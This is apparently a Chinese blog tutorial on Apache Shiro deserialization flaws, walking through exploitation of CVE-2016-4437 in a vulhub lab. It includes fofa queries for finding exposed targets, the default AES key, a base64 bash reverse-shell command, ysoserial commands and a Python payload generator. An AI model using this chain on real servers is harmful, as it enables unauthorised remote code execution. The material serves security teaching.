文章目录
- Shiro简介
- Shiro历史漏洞
- Shiro-550
- Shiro-721
- 漏洞发现
- Shiro组件识别
- Shiro漏洞搜索
- Shiro漏洞检测工具
- Shiro rememberMe反序列化漏洞(Shiro-550)
- 漏洞原理
- 影响版本
- 漏洞利用
- Shiro-721 (未完待续......)
Shiro简介
Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。
Shiro提供了应用程序安全性API来执行以下方面:
1)身份验证:证明用户身份,通常称为用户"登录";
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。
上述四个方面也被称为应用程序安全性的四个基石。
Shiro历史漏洞
Shiro-550
Apache Shiro 框架提供了记住密码的功能( RememberMe ),用户登录成功后用户信息会经过加密编码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对
称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。
Shiro-721
由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
漏洞发现
Shiro组件识别
在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe ,说明使用了 Shiro 组件
Shiro漏洞搜索
通过fofa、zoomeye、shodan这类平台搜索相关特征来发现目标。
例如fofa的搜索关键词:
header="rememberme=deleteMe"
header="shiroCookie"
Shiro漏洞检测工具
https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/shiro-exploit
Shiro rememberMe反序列化漏洞(Shiro-550)
CVE-2016-4437
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本
Apache Shiro < 1.2.4
漏洞利用
docker搭建使用vulhub靶场
cd shiro
ls
cd CVE-2016-4437
docker-compose up -d
访问靶场地址
访问输入账号密码选择保存,登录,抓包
爆破key
工具链接 https://github.com/insightglacier/Shiro_exploit
python2 shiro_exploit.py -u http://192.168.88.130:8080/doLogin
*key值为:kPH+bIxk5D2deZiIxcaaaA==
攻击机选定一个端口进行监听并进行反弹shell
nc -lvvp 9999
进行反弹shell命令构造
编码网站:https://ares-x.com/tools/runtime-exec/
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial反序列化工具监听1099端口
工具地址:https://github.com/frohoff/ysoserial
kali 部署mvn教程:Linux安装maven(详细教程) - 付宗乐 - 博客园
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
执行 shiro-exp.py 脚本构造生成 POC
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
kPH+bIxk5D2deZiIxcaaaA==
为上面爆破出来的key
rememberMe=OFVHQCs/RnGkisRkCJkP/N+0FnRRUFrcDwQeMtPW1V8LHVWUxJI6zgwy2C5aA/MPRAYJJdeIzS2QxncS+URCDaF8XG7VegsjTo/PpIAWmOYbrkbt+dA+8ywX2C7gc9XKt36qwJVWOlZL45O0iljU9b3h5sMhO283RBxgx90MuvGGzzAkCtwdEOB5kvCqyOt6ieAtEfZ0KPadZ17CIiQgno4ZCzCRlrEEuKbt18ROna2GpTQanzrrgPJTMqaW37OWc0yofQ7ULAehM5PPZ7nCDMhziTkH+DtdUJX5kuhE98HENoZLcYma1rWGqS1nqJwhfOegZpLh1Dcuf/5lwP3Yy4k30gRpydc/t6Rlg1LrmQZXEgoAX8zuKNUdd6jlkLN3SmiRa7ueiHAhqrmCnYSP5A==
使用burpsuite修改数据包,将生成的remember复制进去
点击send,返回监听端查看是否反弹shell,可见成功反弹了shell